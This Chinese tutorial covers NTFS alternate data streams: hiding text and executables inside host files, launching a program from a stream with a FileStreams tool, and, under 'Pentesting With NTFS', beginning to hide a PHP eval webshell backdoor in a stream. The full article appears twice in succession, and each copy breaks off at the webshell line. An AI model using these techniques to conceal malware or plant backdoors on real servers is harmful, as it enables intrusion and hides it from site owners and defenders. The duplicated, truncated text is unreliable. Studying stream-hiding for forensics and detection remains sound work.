文件寄生——NTFS文件流实际应用
What is NTFS文件流
NTFS文件系统实现了多文件流特性,NTFS环境一个文件默认使用的是未命名的文件流,同时可创建其他命名的文件流,windows资源管理器默认不显示出文件的命名文件流,这些命名的文件流在功能上和默认使用的未命名文件流一致,甚至可以用来启动程序。
NTFS文件流生成步骤
我们在任意一个NTFS分区下打开CMD命令提示符,输入echo mstlab>>mst.txt:test.txt,则在当前目录下会生成一个名为mst.txt的文件,但文件的大小为0字节,打开后也无任何内容。

只有输入命令:notepad mst.txt:test.txt 才能看见写入的mstlab

在上边的命令中,mst.txt可以不存在,也可以是某个已存的文件,文件格式无所谓,无论是.txt还是.jpg|.exe|.asp都行b.txt也可以任意指定文件名以及后缀名。(可以将任意文本信息隐藏于任意文件中,只要不泄露冒号后的虚拟文件名(即test.txt),别人是根本不会查看到隐藏信息的)

包含隐藏信息的文件仍然可以继续隐藏其它的内容,对比上例,我们仍然可以使用命令echo 
mstlab1>>mst.txt:test1.txt给mst.txt建立新的隐藏信息的流文件,使用命令notepad 
mst.txt:test1.txt打开后会发现mstlab1这段信息,而mstlab仍然存在于mst.txt:test.txt中丝毫不受影响

所以这里的宿主mst.txt成功的被test.txt和test1.txt所寄生,而在这里的微妙关系显而易见,宿主消失寄生消失。
NTFS特性和原理分析
特性1
实验工具下载:https://github.com/wangyongxina/filestreams/blob/master/Release/Release.7z
工具使用说明:
create 创建文件流
enum 列举文件流
delete 删除文件流
write 写入内容到文件流
append 增加文件到文件流
launch 执行文件流的内容
dump 读取文件流的内容
我们让上一步骤归零,重新来看看mst.txt:

而这里的default文件流就验证了最开头的一句话,默认使用的是为命名的文件流。
实验开始,首先我们使用FileStreams.exe创建一个文件流vkey:
FileStreams.exe create mst.txt vkey
然后写入内容到文件流vkey:
FileStreams.exe write mst.txt vkey content

再来查看文件流vkey的内容:
FileStreams.exe dump mst.txt vkey 14 
这里的14从何而来,相信聪明的你们能明白。(文件流vkey大小 14)

最开始也说了,文件流是可以用来启动程序的,我们来试试:
- 
    
加入文件到文件流vkey:
FileStreams.exe append mst.txt vkey C:\Users\gh0stkey\Desktop\test\FileStreams.exe
 - 
    
查看文件流vkey的内容,这里就看前100个字节的内容:
FileStreams.exe dump mst.txt vkey 100 

- 
    
执行文件流vkey:
顺利的执行了
C:\Users\gh0stkey\Desktop\test\FileStreams.exe这个文件。 

特性2
自动创建空文件:

自动创建宿主,然后寄生。
在没有原文件的情况下创建文件流,会自动创建一个空文件。
原理分析:
好,现在我们以及初步了解了文件流的特性。再来看看NTFS文件流实现原理:
如文件大小,文件创建时间,文件修改时间,文件名,文件内容等被组织成属性来存放,NTFS定义了一序列的文件属性:

详细说明可以搜索NTFS3G,这些属性统一组织在NTFS的MFT(Master File Table)上,每个MFT大小1024个字节,MFT的$DATA属性即是前面提到的文件流,通常来说包含多个不同名字的$DATA属性即说明该文件存在多个文件流,下图是winhex打开1.txt定位到1.txt的MFT,我们实际看一下NTFS是如何组织的:

Pentesting With NTFS
Webshell后门隐藏
写一个PHP的Webshell,首先网站的默认首页是index.php,所以使用了第一段代码:
exec('echo "<?php @eval($_POST[key]);...剩余内容已隐藏
文件寄生——NTFS文件流实际应用
What is NTFS文件流
NTFS文件系统实现了多文件流特性,NTFS环境一个文件默认使用的是未命名的文件流,同时可创建其他命名的文件流,windows资源管理器默认不显示出文件的命名文件流,这些命名的文件流在功能上和默认使用的未命名文件流一致,甚至可以用来启动程序。
NTFS文件流生成步骤
我们在任意一个NTFS分区下打开CMD命令提示符,输入echo mstlab>>mst.txt:test.txt,则在当前目录下会生成一个名为mst.txt的文件,但文件的大小为0字节,打开后也无任何内容。

只有输入命令:notepad mst.txt:test.txt 才能看见写入的mstlab

在上边的命令中,mst.txt可以不存在,也可以是某个已存的文件,文件格式无所谓,无论是.txt还是.jpg|.exe|.asp都行b.txt也可以任意指定文件名以及后缀名。(可以将任意文本信息隐藏于任意文件中,只要不泄露冒号后的虚拟文件名(即test.txt),别人是根本不会查看到隐藏信息的)

包含隐藏信息的文件仍然可以继续隐藏其它的内容,对比上例,我们仍然可以使用命令echo 
mstlab1>>mst.txt:test1.txt给mst.txt建立新的隐藏信息的流文件,使用命令notepad 
mst.txt:test1.txt打开后会发现mstlab1这段信息,而mstlab仍然存在于mst.txt:test.txt中丝毫不受影响

所以这里的宿主mst.txt成功的被test.txt和test1.txt所寄生,而在这里的微妙关系显而易见,宿主消失寄生消失。
NTFS特性和原理分析
特性1
实验工具下载:https://github.com/wangyongxina/filestreams/blob/master/Release/Release.7z
工具使用说明:
create 创建文件流
enum 列举文件流
delete 删除文件流
write 写入内容到文件流
append 增加文件到文件流
launch 执行文件流的内容
dump 读取文件流的内容
我们让上一步骤归零,重新来看看mst.txt:

而这里的default文件流就验证了最开头的一句话,默认使用的是为命名的文件流。
实验开始,首先我们使用FileStreams.exe创建一个文件流vkey:
FileStreams.exe create mst.txt vkey
然后写入内容到文件流vkey:
FileStreams.exe write mst.txt vkey content

再来查看文件流vkey的内容:
FileStreams.exe dump mst.txt vkey 14 
这里的14从何而来,相信聪明的你们能明白。(文件流vkey大小 14)

最开始也说了,文件流是可以用来启动程序的,我们来试试:
- 
    
加入文件到文件流vkey:
FileStreams.exe append mst.txt vkey C:\Users\gh0stkey\Desktop\test\FileStreams.exe
 - 
    
查看文件流vkey的内容,这里就看前100个字节的内容:
FileStreams.exe dump mst.txt vkey 100 

- 
    
执行文件流vkey:
顺利的执行了
C:\Users\gh0stkey\Desktop\test\FileStreams.exe这个文件。 

特性2
自动创建空文件:

自动创建宿主,然后寄生。
在没有原文件的情况下创建文件流,会自动创建一个空文件。
原理分析:
好,现在我们以及初步了解了文件流的特性。再来看看NTFS文件流实现原理:
如文件大小,文件创建时间,文件修改时间,文件名,文件内容等被组织成属性来存放,NTFS定义了一序列的文件属性:

详细说明可以搜索NTFS3G,这些属性统一组织在NTFS的MFT(Master File Table)上,每个MFT大小1024个字节,MFT的$DATA属性即是前面提到的文件流,通常来说包含多个不同名字的$DATA属性即说明该文件存在多个文件流,下图是winhex打开1.txt定位到1.txt的MFT,我们实际看一下NTFS是如何组织的:

Pentesting With NTFS
Webshell后门隐藏
写一个PHP的Webshell,首先网站的默认首页是index.php,所以使用了第一段代码:
exec('echo "<?php @eval($_POST[key]);...剩余内容已隐藏